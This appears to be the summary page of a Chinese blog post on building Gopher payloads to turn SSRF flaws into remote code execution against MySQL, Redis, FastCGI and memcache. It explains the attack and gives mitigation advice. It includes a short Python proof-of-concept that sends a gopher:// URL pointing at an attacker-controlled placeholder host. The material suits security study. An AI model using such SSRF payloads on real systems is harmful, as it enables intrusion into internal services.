【漏洞挖掘】——35、SSRF工具Gopher载荷构造

本文介绍了一个工具,用于在发现SSRF漏洞时生成Gopher载荷,以实现RCE。通过讲解项目地址、安装步骤和针对MySQL、Redis、Fast-CGI、Pymemcache的使用方法,来帮助读者理解和利用SSRF进行远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

### 关于SSRF漏洞中的Gopher协议 在服务器端请求伪造(Server-Side Request Forgery, SSRF)攻击中,利用特定协议可以扩大攻击面并提升危害程度。其中一种值得注意的是 Gopher 协议。此协议允许客户端通过简单的字符串命令来获取远程资源,在某些情况下可被恶意利用。 当应用程序未充分验证用户输入即用于发起 HTTP 请求时,则可能存在 SSRF 风险[^1]。如果目标系统支持非标准 URL 方案如 `gopher://` 并且缺乏适当过滤机制的话,那么攻击者就有可能构造特殊形式的数据包以执行任意指令或读取本地文件等内容。 对于 Jira 这样的应用而言,已知存在可以通过精心设计的 URL 来触发内部服务调用的情况,这其中包括但不限于使用 gopher 协议来进行非法操作的可能性。为了防止此类问题的发生,开发人员应当严格控制对外部网络连接的支持范围,并实施白名单策略限制可用方案种类;同时还要注意对所有来自用户的参数做全面的安全审查。 ```python import requests url = "http://example.com/vulnerable_endpoint" payload = 'gopher://attacker-controlled-site/...' response = requests.get(url, params={'param': payload}) print(response.text) ``` 上述代码片段展示了如何向易受攻击的服务发送包含有潜在危险 URI 的 GET 请求。请注意实际环境中不应如此实现,而仅作为概念证明展示可能存在的风险点。
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